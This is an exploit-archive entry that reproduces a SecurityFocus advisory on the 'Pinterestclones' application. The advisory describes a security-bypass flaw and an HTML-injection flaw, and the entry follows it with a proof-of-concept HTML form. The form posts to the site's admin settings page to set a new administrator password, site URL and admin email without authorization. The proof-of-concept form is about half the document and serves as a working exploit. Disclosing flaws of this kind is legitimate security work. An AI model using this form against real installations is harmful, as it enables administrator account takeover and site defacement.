Pinterestclones - Security Bypass / HTML Injection

source: https://www.securityfocus.com/bid/55469/info

Pinterestclones is prone to a security-bypass vulnerability and an HTML-injection vulnerability because it fails to properly validate user permissions and sanitize user-supplied input.

An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application. 

<form action="http://www.example.com/admin/settings.php" method="post" class="niceform" name="frmname" enctype="multipart/form-data">
Name:<input type="text" class="txtFname" name="name" id="name" size="50" value="Admin"/>
User Name:<input type="text" class="txtFname" name="uname" readonly="readonly" id="uname" size="50" value="[email protected]"/>
New Password:<input type="password" class="txtFname" name="password" id="password" size="50" value=""/>
Confirm Password:<input type="password" class="txtFname" name="cpassword" id="cpassword" size="50" value=""/>
Site Slogan:<input type="text" name="txtSlogan" id="txtSlogan" size="50" value="Your online pinboard"/>
Site URL:<input type="text" name="txtUrl" id="txtUrl" size="50" value=""/>
Admin Email:<input type="text" name="aemail" id="aemail" size="50" value=""/>
.Under maintenance:<select name="maintenance">
<option value="No" selected>No</option>
<option value="Yes">Yes</option>
</select>
Maintenance message:
<input type="text" name="maintenancemsg" id="maintenancemsg" size="50" value="We are upgrading the site."/>
<dl class="submit">
<input type="submit" value="Save" class="submit" name="sbmtbtn" style="width:50px;"/>
</form>